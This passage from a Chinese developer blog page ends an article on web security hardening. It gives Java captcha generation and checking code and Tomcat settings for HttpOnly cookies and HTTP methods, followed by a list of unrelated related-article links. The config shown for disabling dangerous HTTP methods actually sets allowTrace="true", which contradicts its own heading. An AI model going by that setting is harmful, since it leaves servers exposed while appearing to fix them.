   <li>后台生成验证码</li> 
  </ul> 
  <pre><code class="prism language-java"> <span class="token annotation punctuation">@RequestMapping</span><span class="token punctuation">(</span>method <span class="token operator">=</span> RequestMethod<span class="token punctuation">.</span>GET<span class="token punctuation">,</span> value <span class="token operator">=</span> <span class="token string">"/getVerify"</span><span class="token punctuation">)</span>
    <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">getVerify</span><span class="token punctuation">(</span>HttpServletRequest request<span class="token punctuation">,</span> HttpServletResponse response<span class="token punctuation">)</span><span class="token punctuation">{</span>
        response<span class="token punctuation">.</span><span class="token function">setContentType</span><span class="token punctuation">(</span><span class="token string">"image/jpeg"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//设置相应类型,告诉浏览器输出的内容为图片</span>
        response<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">"Pragma"</span><span class="token punctuation">,</span> <span class="token string">"No-cache"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//设置响应头信息，告诉浏览器不要缓存此内容</span>
        response<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">"Cache-Control"</span><span class="token punctuation">,</span> <span class="token string">"no-cache"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        response<span class="token punctuation">.</span><span class="token function">setDateHeader</span><span class="token punctuation">(</span><span class="token string">"Expire"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        RandomValidateCode randomValidateCode <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">RandomValidateCode</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">try</span> <span class="token punctuation">{</span>
            randomValidateCode<span class="token punctuation">.</span><span class="token function">getRandcode</span><span class="token punctuation">(</span>request<span class="token punctuation">,</span> response<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//输出验证码图片方法</span>
        <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token class-name">Exception</span> e<span class="token punctuation">)</span> <span class="token punctuation">{</span>
            e<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">}</span>
</code></pre> 
  <ul> 
   <li>验证码校验</li> 
  </ul> 
  <pre><code class="prism language-java">String checks <span class="token operator">=</span> request<span class="token punctuation">.</span><span class="token function">getParameter</span><span class="token punctuation">(</span><span class="token string">"checks"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">trim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
		HttpSession session <span class="token operator">=</span> request<span class="token punctuation">.</span><span class="token function">getSession</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
		String verify <span class="token operator">=</span> <span class="token punctuation">(</span>String<span class="token punctuation">)</span> session<span class="token punctuation">.</span><span class="token function">getAttribute</span><span class="token punctuation">(</span><span class="token string">"RANDOMVALIDATECODEKEY"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
		String verityNew <span class="token operator">=</span> verify<span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
		<span class="token comment">//将session中的验证码记录和用户提交的值进行比较</span>
		<span class="token comment">//一致移除session记录，错误抛出异常</span>
		<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>checks<span class="token punctuation">.</span><span class="token function">equals</span><span class="token punctuation">(</span>verityNew<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
			<span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">AuthenticationServiceException</span><span class="token punctuation">(</span><span class="token string">"VerityException"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
		<span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>
			session<span class="token punctuation">.</span><span class="token function">removeAttribute</span><span class="token punctuation">(</span><span class="token string">"RANDOMVALIDATECODEKEY"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
		<span class="token punctuation">}</span>
</code></pre> 
  <h2 id="4">4. Cookie中未设HttpOnly标识</h2> 
  <pre><code>  tomcat context.xml文件中配置<Context useHttpOnly="true">
</code></pre> 
  <h2 id="5">5.危险的HTTP方法未禁用</h2> 
  <p>tomcat server.xml文件中配置</p> 
  <pre><code><Connector connectionTimeout="20000" port="8080" protocol="HTTP/1.1" redirectPort="8443" allowTrace="true"/>
</code></pre> 
  <p>至此整个安全漏洞防御告一段落，当然还有好多问题，大家有什么问题可以在下面留言。<br> 希望今天的自己比昨天更加进步。</p> 
 </div> 
</div>
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1669514524677464064"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(安全,java,xss攻击和防御,https)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1835514464028422144.htm"
                           title="情绪觉察日记第37天" target="_blank">情绪觉察日记第37天</a>
                        <span class="text-muted">露露_e800</span>

                        <div>今天是家庭关系规划师的第二阶最后一天，慧萍老师帮我做了个案，帮我处理了埋在心底好多年的一份恐惧，并给了我深深的力量！这几天出来学习，爸妈过来婆家帮我带小孩，妈妈出于爱帮我收拾东西，并跟我先生和婆婆产生矛盾，妈妈觉得他们没有照顾好我…。今晚回家见到妈妈，我很欣赏她并赞扬她，妈妈说今晚要跟我睡我说好，当我们俩躺在床上准备睡觉的时候，我握着妈妈的手对她说:妈妈这几天辛苦你了，你看你多利害把我们的家收拾得</div>
                    </li>
                    <li><a href="/article/1835514335561084928.htm"
                           title="芦花鞋一四" target="_blank">芦花鞋一四</a>
                        <span class="text-muted">许叶晗</span>

                        <div>又是在一个寒冷的夏日里，青铜和葵花决定今天一起去卖芦花鞋，奶奶亲手给他们做了一碗热乎乎的粥对他们说:“就靠你们两挣生活费了这碗粥赶紧趁热喝了吧！”于是青铜和葵花喝完了奶奶给她们做的粥，就准备去镇上卖卢花鞋，这回青铜和葵花穿着新的芦花鞋来到了镇上。青铜这回看到了很多人都在卖，用手势表达对葵花说:“这回有好多人在抢我们生意呢！我们必须得吆喝起来。”葵花点了点头。可是谁知他们也大声的叫，卖芦花喽！卖芦花</div>
                    </li>
                    <li><a href="/article/1835514207114719232.htm"
                           title="关于沟通这件事，项目经理不需要每次都面对面进行" target="_blank">关于沟通这件事，项目经理不需要每次都面对面进行</a>
                        <span class="text-muted">流程大师兄</span>

                        <div>很多项目经理都会遇到这样的问题，项目中由于事情太多，根本没有足够的时间去召开会议，那在这种情况下如何去有效地管理项目中的利益相关者？当然，不建议电子邮件也不需要开会的话，建议可以采取下面几种方式来形成有效的沟通，这几种方式可以帮助你努力的通过各种办法来保持和各方面的联系。项目经理首先要问自己几个问题，项目中哪些利益相关者是必须要进行沟通的？可以列出项目中所有的利益相关者清单，同时也整理出项目中哪些</div>
                    </li>
                    <li><a href="/article/1835513803861749760.htm"
                           title="机器学习与深度学习间关系与区别" target="_blank">机器学习与深度学习间关系与区别</a>
                        <span class="text-muted">ℒℴѵℯ心·动ꦿ໊ོ꫞</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a>
                        <div>一、机器学习概述定义机器学习（MachineLearning,ML）是一种通过数据驱动的方法，利用统计学和计算算法来训练模型，使计算机能够从数据中学习并自动进行预测或决策。机器学习通过分析大量数据样本，识别其中的模式和规律，从而对新的数据进行判断。其核心在于通过训练过程，让模型不断优化和提升其预测准确性。主要类型1.监督学习（SupervisedLearning）监督学习是指在训练数据集中包含输入</div>
                    </li>
                    <li><a href="/article/1835513551624695808.htm"
                           title="【iOS】MVC设计模式" target="_blank">【iOS】MVC设计模式</a>
                        <span class="text-muted">Magnetic_h</span>
<a class="tag" taget="_blank" href="/search/ios/1.htm">ios</a><a class="tag" taget="_blank" href="/search/mvc/1.htm">mvc</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a><a class="tag" taget="_blank" href="/search/objective-c/1.htm">objective-c</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/ui/1.htm">ui</a>
                        <div>MVC前言如何设计一个程序的结构，这是一门专门的学问，叫做"架构模式"（architecturalpattern），属于编程的方法论。MVC模式就是架构模式的一种。它是Apple官方推荐的App开发架构，也是一般开发者最先遇到、最经典的架构。MVC各层controller层Controller/ViewController/VC（控制器）负责协调Model和View，处理大部分逻辑它将数据从Mod</div>
                    </li>
                    <li><a href="/article/1835513440525971456.htm"
                           title="一百九十四章. 自相矛盾" target="_blank">一百九十四章. 自相矛盾</a>
                        <span class="text-muted">巨木擎天</span>

                        <div>唉！就这么一夜，林子感觉就像过了很多天似的，先是回了阳间家里，遇到了那么多不可思议的事情儿。特别是小伙伴们，第二次与自己见面时，僵硬的表情和恐怖的气氛，让自己如坐针毡，打从心眼里难受！还有东子，他现在还好吗？有没有被人欺负？护城河里的小鱼小虾们，还都在吗？水不会真的干枯了吧？那对相亲相爱漂亮的太平鸟儿，还好吧！春天了，到了做窝、下蛋、喂养小鸟宝宝的时候了，希望它们都能够平安啊！虽然没有看见家人，也</div>
                    </li>
                    <li><a href="/article/1835513424734416896.htm"
                           title="UI学习——cell的复用和自定义cell" target="_blank">UI学习——cell的复用和自定义cell</a>
                        <span class="text-muted">Magnetic_h</span>
<a class="tag" taget="_blank" href="/search/ui/1.htm">ui</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a>
                        <div>目录cell的复用手动（非注册）自动（注册）自定义cellcell的复用在iOS开发中，单元格复用是一种提高表格（UITableView）和集合视图（UICollectionView）滚动性能的技术。当一个UITableViewCell或UICollectionViewCell首次需要显示时，如果没有可复用的单元格，则视图会创建一个新的单元格。一旦这个单元格滚动出屏幕，它就不会被销毁。相反，它被添</div>
                    </li>
                    <li><a href="/article/1835512920797179904.htm"
                           title="element实现动态路由+面包屑" target="_blank">element实现动态路由+面包屑</a>
                        <span class="text-muted">软件技术NINI</span>
<a class="tag" taget="_blank" href="/search/vue%E6%A1%88%E4%BE%8B/1.htm">vue案例</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>el-breadcrumb是ElementUI组件库中的一个面包屑导航组件，它用于显示当前页面的路径，帮助用户快速理解和导航到应用的各个部分。在Vue.js项目中，如果你已经安装了ElementUI，就可以很方便地使用el-breadcrumb组件。以下是一个基本的使用示例：安装ElementUI（如果你还没有安装的话）:你可以通过npm或yarn来安装ElementUI。bash复制代码npmi</div>
                    </li>
                    <li><a href="/article/1835512305320816640.htm"
                           title="地推话术，如何应对地推过程中家长的拒绝" target="_blank">地推话术，如何应对地推过程中家长的拒绝</a>
                        <span class="text-muted">校师学</span>

                        <div>相信校长们在做地推的时候经常遇到这种情况：市场专员反馈家长不接单，咨询师反馈难以邀约这些家长上门，校区地推疲软，招生难。为什么？仅从地推层面分析，一方面因为家长受到的信息轰炸越来越多，对信息越来越“免疫”；而另一方面地推人员的专业能力和营销话术没有提高，无法应对家长的拒绝，对有意向的家长也不知如何跟进，眼睁睁看着家长走远；对于家长的疑问，更不知道如何有技巧地回答，机会白白流失。由于回答没技巧和专业</div>
                    </li>
                    <li><a href="/article/1835512178023690240.htm"
                           title="谢谢你们，爱你们！" target="_blank">谢谢你们，爱你们！</a>
                        <span class="text-muted">鹿游儿</span>

                        <div>昨天家人去泡温泉，二个孩子也带着去，出发前一晚，匆匆下班，赶回家和孩子一起收拾。饭后，我拿出笔和本子（上次去澳门时做手帐的本子）写下了1\2\3\4\5\6\7\8\9,让后让小壹去思考，带什么出发去旅游呢？她在对应的数字旁边画上了，泳衣、泳圈、肖恩、内衣内裤、tapuy、拖鞋……画完后，就让她自己对着这个本子，将要带的，一一带上，没想到这次带的书还是这本《便便工厂》(晚上姑婆发照片过来，妹妹累得</div>
                    </li>
                    <li><a href="/article/1835511911769272320.htm"
                           title="C语言如何定义宏函数？" target="_blank">C语言如何定义宏函数？</a>
                        <span class="text-muted">小九格物</span>
<a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a>
                        <div>在C语言中，宏函数是通过预处理器定义的，它在编译之前替换代码中的宏调用。宏函数可以模拟函数的行为，但它们不是真正的函数，因为它们在编译时不会进行类型检查，也不会分配存储空间。宏函数的定义通常使用#define指令，后面跟着宏的名称和参数列表，以及宏展开后的代码。宏函数的定义方式：1.基本宏函数：这是最简单的宏函数形式，它直接定义一个表达式。#defineSQUARE(x)((x)*(x))2.带参</div>
                    </li>
                    <li><a href="/article/1835511912192897024.htm"
                           title="微服务下功能权限与数据权限的设计与实现" target="_blank">微服务下功能权限与数据权限的设计与实现</a>
                        <span class="text-muted">nbsaas-boot</span>
<a class="tag" taget="_blank" href="/search/%E5%BE%AE%E6%9C%8D%E5%8A%A1/1.htm">微服务</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a>
                        <div>在微服务架构下，系统的功能权限和数据权限控制显得尤为重要。随着系统规模的扩大和微服务数量的增加，如何保证不同用户和服务之间的访问权限准确、细粒度地控制，成为设计安全策略的关键。本文将讨论如何在微服务体系中设计和实现功能权限与数据权限控制。1.功能权限与数据权限的定义功能权限：指用户或系统角色对特定功能的访问权限。通常是某个用户角色能否执行某个操作，比如查看订单、创建订单、修改用户资料等。数据权限：</div>
                    </li>
                    <li><a href="/article/1835511912843014144.htm"
                           title="理解Gunicorn：Python WSGI服务器的基石" target="_blank">理解Gunicorn：Python WSGI服务器的基石</a>
                        <span class="text-muted">范范0825</span>
<a class="tag" taget="_blank" href="/search/ipython/1.htm">ipython</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a>
                        <div>理解Gunicorn：PythonWSGI服务器的基石介绍Gunicorn，全称GreenUnicorn，是一个为PythonWSGI（WebServerGatewayInterface）应用设计的高效、轻量级HTTP服务器。作为PythonWeb应用部署的常用工具，Gunicorn以其高性能和易用性著称。本文将介绍Gunicorn的基本概念、安装和配置，帮助初学者快速上手。1.什么是Gunico</div>
                    </li>
                    <li><a href="/article/1835511163450912768.htm"
                           title="2021年12月19日，春蕾教育集团团建活动感受——黄晓丹" target="_blank">2021年12月19日，春蕾教育集团团建活动感受——黄晓丹</a>
                        <span class="text-muted">黄错错加油</span>

                        <div>感受:1.从陌生到熟悉的过程。游戏环节让我们在轻松的氛围中得到了锻炼，也增长了不少知识。2.游戏过程中，我们贡献的是个人力量，展现的是团队的力量。它磨合的往往不止是工作的熟悉，更是观念上契合度的贴近。3.这和工作是一样的道理。在各自的岗位上，每个人摆正自己的位置、各司其职充分发挥才能，并团结一致劲往一处使，才能实现最大的成功。新知:1.团队精神需要不断地创新。过去，人们把创新看作是冒风险，现在人们</div>
                    </li>
                    <li><a href="/article/1835511036317364224.htm"
                           title="Cell Insight | 单细胞测序技术又一新发现，可用于HIV-1和Mtb共感染个体诊断" target="_blank">Cell Insight | 单细胞测序技术又一新发现，可用于HIV-1和Mtb共感染个体诊断</a>
                        <span class="text-muted">尐尐呅</span>

                        <div>结核病是艾滋病合并其他疾病中导致患者死亡的主要原因。其中结核病由结核分枝杆菌（Mycobacteriumtuberculosis,Mtb）感染引起，获得性免疫缺陷综合症（艾滋病）由人免疫缺陷病毒（Humanimmunodeficiencyvirustype1,HIV-1）感染引起。国家感染性疾病临床医学研究中心/深圳市第三人民医院张国良团队携手深圳华大生命科学研究院吴靓团队，共同研究得出单细胞测序</div>
                    </li>
                    <li><a href="/article/1835511030260789248.htm"
                           title="c++ 的iostream 和 c++的stdio的区别和联系" target="_blank">c++ 的iostream 和 c++的stdio的区别和联系</a>
                        <span class="text-muted">黄卷青灯77</span>
<a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/iostream/1.htm">iostream</a><a class="tag" taget="_blank" href="/search/stdio/1.htm">stdio</a>
                        <div>在C++中，iostream和C语言的stdio.h都是用于处理输入输出的库，但它们在设计、用法和功能上有许多不同。以下是两者的区别和联系：区别1.编程风格iostream（C++风格）：C++标准库中的输入输出流类库，支持面向对象的输入输出操作。典型用法是cin（输入）和cout（输出），使用>操作符来处理数据。更加类型安全，支持用户自定义类型的输入输出。#includeintmain(){in</div>
                    </li>
                    <li><a href="/article/1835510025561403392.htm"
                           title="《投行人生》读书笔记" target="_blank">《投行人生》读书笔记</a>
                        <span class="text-muted">小蘑菇的树洞</span>

                        <div>《投行人生》----作者詹姆斯-A-朗德摩根斯坦利副主席40年的职业洞见-很短小精悍的篇幅，比较适合初入职场的新人。第一部分成功的职业生涯需要规划1.情商归为适应能力分享与协作同理心适应能力，更多的是自我意识，你有能力识别自己的情并分辨这些情绪如何影响你的思想和行为。2.对于初入职场的人的建议，细节，截止日期和数据很重要截止日期，一种有效的方法是请老板为你所有的任务进行优先级排序。和老板喝咖啡的好</div>
                    </li>
                    <li><a href="/article/1835509897106649088.htm"
                           title="Long类型前后端数据不一致" target="_blank">Long类型前后端数据不一致</a>
                        <span class="text-muted">igotyback</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>响应给前端的数据浏览器控制台中response中看到的Long类型的数据是正常的到前端数据不一致前后端数据类型不匹配是一个常见问题，尤其是当后端使用Java的Long类型（64位）与前端JavaScript的Number类型（最大安全整数为2^53-1，即16位）进行数据交互时，很容易出现精度丢失的问题。这是因为JavaScript中的Number类型无法安全地表示超过16位的整数。为了解决这个问</div>
                    </li>
                    <li><a href="/article/1835509769822105600.htm"
                           title="LocalDateTime 转 String" target="_blank">LocalDateTime 转 String</a>
                        <span class="text-muted">igotyback</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>importjava.time.LocalDateTime;importjava.time.format.DateTimeFormatter;publicclassMain{publicstaticvoidmain(String[]args){//获取当前时间LocalDateTimenow=LocalDateTime.now();//定义日期格式化器DateTimeFormatterformat</div>
                    </li>
                    <li><a href="/article/1835509391361667072.htm"
                           title="Linux下QT开发的动态库界面弹出操作（SDL2）" target="_blank">Linux下QT开发的动态库界面弹出操作（SDL2）</a>
                        <span class="text-muted">13jjyao</span>
<a class="tag" taget="_blank" href="/search/QT%E7%B1%BB/1.htm">QT类</a><a class="tag" taget="_blank" href="/search/qt/1.htm">qt</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/sdl2/1.htm">sdl2</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>需求：操作系统为linux，开发框架为qt，做成需带界面的qt动态库，调用方为java等非qt程序难点：调用方为java等非qt程序，也就是说调用方肯定不带QApplication::exec()，缺少了这个，QTimer等事件和QT创建的窗口将不能弹出(包括opencv也是不能弹出)；这与qt调用本身qt库是有本质的区别的思路：1.调用方缺QApplication::exec()，那么我们在接口</div>
                    </li>
                    <li><a href="/article/1835509266627260416.htm"
                           title="绘本讲师训练营【24期】8/21阅读原创《独生小孩》" target="_blank">绘本讲师训练营【24期】8/21阅读原创《独生小孩》</a>
                        <span class="text-muted">1784e22615e0</span>

                        <div>24016-孟娟《独生小孩》图片发自App今天我想分享一个蛮特别的绘本，讲的是一个特殊的群体，我也是属于这个群体，80后的独生小孩。这是一本中国绘本，作者郭婧，也是一个80厚。全书一百多页，均为铅笔绘制，虽然为黑白色调，但并不显得沉闷。全书没有文字，犹如“默片”，但并不影响读者对该作品的理解，反而显得神秘，梦幻，給读者留下想象的空间。作者在前蝴蝶页这样写到：“我更希望父母和孩子一起分享这本书，使他</div>
                    </li>
                    <li><a href="/article/1835508761310097408.htm"
                           title="店群合一模式下的社区团购新发展——结合链动 2+1 模式、AI 智能名片与 S2B2C 商城小程序源码" target="_blank">店群合一模式下的社区团购新发展——结合链动 2+1 模式、AI 智能名片与 S2B2C 商城小程序源码</a>
                        <span class="text-muted">说私域</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E5%B0%8F%E7%A8%8B%E5%BA%8F/1.htm">小程序</a>
                        <div>摘要：本文探讨了店群合一的社区团购平台在当今商业环境中的重要性和优势。通过分析店群合一模式如何将互联网社群与线下终端紧密结合，阐述了链动2+1模式、AI智能名片和S2B2C商城小程序源码在这一模式中的应用价值。这些创新元素的结合为社区团购带来了新的机遇，提升了用户信任感、拓展了营销渠道，并实现了线上线下的完美融合。一、引言随着互联网技术的不断发展，社区团购作为一种新兴的商业模式，在满足消费者日常需</div>
                    </li>
                    <li><a href="/article/1835508130268672000.htm"
                           title="消息中间件有哪些常见类型" target="_blank">消息中间件有哪些常见类型</a>
                        <span class="text-muted">xmh-sxh-1314</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                        <div>消息中间件根据其设计理念和用途，可以大致分为以下几种常见类型：点对点消息队列（Point-to-PointMessagingQueues）：在这种模型中，消息被发送到特定的队列中，消费者从队列中取出并处理消息。队列中的消息只能被一个消费者消费，消费后即被删除。常见的实现包括IBM的MQSeries、RabbitMQ的部分使用场景等。适用于任务分发、负载均衡等场景。发布/订阅消息模型（Pub/Sub</div>
                    </li>
                    <li><a href="/article/1835508131032035328.htm"
                           title="ArcGIS栅格计算器常见公式（赋值、0和空值的转换、补充栅格空值）" target="_blank">ArcGIS栅格计算器常见公式（赋值、0和空值的转换、补充栅格空值）</a>
                        <span class="text-muted">研学随笔</span>
<a class="tag" taget="_blank" href="/search/arcgis/1.htm">arcgis</a><a class="tag" taget="_blank" href="/search/%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/1.htm">经验分享</a>
                        <div>我们在使用ArcGIS时通常经常用到栅格计算器，今天主要给大家介绍我日常中经常用到的几个公式，供大家参考学习。将特定值（-9999）赋值为0，例如-9999.Con("raster"==-9999,0,"raster")2.给空值赋予特定的值（如0）Con(IsNull("raster"),0,"raster")3.将特定的栅格值(如1)赋值为空值，其他保留原值SetNull("raster"==</div>
                    </li>
                    <li><a href="/article/1835507626276909056.htm"
                           title="水平垂直居中的几种方法（总结）" target="_blank">水平垂直居中的几种方法（总结）</a>
                        <span class="text-muted">LJ小番茄</span>
<a class="tag" taget="_blank" href="/search/CSS_%E7%8E%84%E5%AD%A6%E8%AF%AD%E8%A8%80/1.htm">CSS_玄学语言</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/css3/1.htm">css3</a>
                        <div>1.使用flexbox的justify-content和align-items.parent{display:flex;justify-content:center;/*水平居中*/align-items:center;/*垂直居中*/height:100vh;/*需要指定高度*/}2.使用grid的place-items:center.parent{display:grid;place-item</div>
                    </li>
                    <li><a href="/article/1835507105168191488.htm"
                           title="本周第二次约练" target="_blank">本周第二次约练</a>
                        <span class="text-muted">2cfbdfe28a51</span>

                        <div>中原焦点团队中24初26刘霞2021.12.3约练161次，分享第368天当事人虽然是带着问题来的，但是咨询过程中发现，她是经过自己不断地调整和努力才走到现在的，看到当事人的不容易，找到例外，发现资源，力量感也就随之而来。增强画面感，或者说重温，会给当事人带来更深刻的感受。</div>
                    </li>
                    <li><a href="/article/1835507103909900288.htm"
                           title="放下是一段成长的修行" target="_blank">放下是一段成长的修行</a>
                        <span class="text-muted">小莳玥</span>

                        <div>人来到这个世界上，只有两件事：生和死。一件事已经做完了，另一件你还急什么呢?是人，都有七情六欲。是心，都有喜怒哀乐，这些再正常不过了。别总抱怨自己活得累，过得辛苦。永远记住：舒坦是留给死人的。苦，才是生活；累，才是工作；变，才是命运；忍，才是历练；容，才是智慧；静，才是修养；舍，才会得到；做，才会拥有。人生，活得太清楚，才是最大的不明白。有些事，看得很清，却说不清；有些人，了解很深，却猜不透；有些</div>
                    </li>
                    <li><a href="/article/1835506996258893824.htm"
                           title="回溯 Leetcode 332 重新安排行程" target="_blank">回溯 Leetcode 332 重新安排行程</a>
                        <span class="text-muted">mmaerd</span>
<a class="tag" taget="_blank" href="/search/Leetcode%E5%88%B7%E9%A2%98%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/1.htm">Leetcode刷题学习记录</a><a class="tag" taget="_blank" href="/search/leetcode/1.htm">leetcode</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E8%81%8C%E5%9C%BA%E5%92%8C%E5%8F%91%E5%B1%95/1.htm">职场和发展</a>
                        <div>重新安排行程Leetcode332学习记录自代码随想录给你一份航线列表tickets，其中tickets[i]=[fromi,toi]表示飞机出发和降落的机场地点。请你对该行程进行重新规划排序。所有这些机票都属于一个从JFK（肯尼迪国际机场）出发的先生，所以该行程必须从JFK开始。如果存在多种有效的行程，请你按字典排序返回最小的行程组合。例如，行程[“JFK”,“LGA”]与[“JFK”,“LGB</div>
                    </li>
                    <li><a href="/article/1835506869838376960.htm"
                           title="Python数据分析与可视化实战指南" target="_blank">Python数据分析与可视化实战指南</a>
                        <span class="text-muted">William数据分析</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE/1.htm">数据</a>
                        <div>在数据驱动的时代，Python因其简洁的语法、强大的库生态系统以及活跃的社区，成为了数据分析与可视化的首选语言。本文将通过一个详细的案例，带领大家学习如何使用Python进行数据分析，并通过可视化来直观呈现分析结果。一、环境准备1.1安装必要库在开始数据分析和可视化之前，我们需要安装一些常用的库。主要包括pandas、numpy、matplotlib和seaborn等。这些库分别用于数据处理、数学</div>
                    </li>
                    <li><a href="/article/1835506616682770432.htm"
                           title="每日一题——第八十四题" target="_blank">每日一题——第八十四题</a>
                        <span class="text-muted">互联网打工人no1</span>
<a class="tag" taget="_blank" href="/search/C%E8%AF%AD%E8%A8%80%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1%E6%AF%8F%E6%97%A5%E4%B8%80%E7%BB%83/1.htm">C语言程序设计每日一练</a><a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a>
                        <div>题目：编写函数1、输入10个职工的姓名和职工号2、按照职工由大到小顺序排列，姓名顺序也随之调整3、要求输入一个职工号，用折半查找法找出该职工的姓名#define_CRT_SECURE_NO_WARNINGS#include#include#defineMAX_EMPLOYEES10typedefstruct{intid;charname[50];}Empolyee;voidinputEmploye</div>
                    </li>
                                <li><a href="/article/101.htm"
                                       title="数据采集高并发的架构应用" target="_blank">数据采集高并发的架构应用</a>
                                    <span class="text-muted">3golden</span>
<a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a>
                                    <div>问题的出发点： 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 最近公司为了发展需要，要扩大对用户的信息采集，每个用户的采集量估计约2W。如果用户量增加的话，将会大量照成采集量成3W倍的增长，但是又要满足日常业务需要，特别是指令要及时得到响应的频率次数远大于预期。 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n</div>
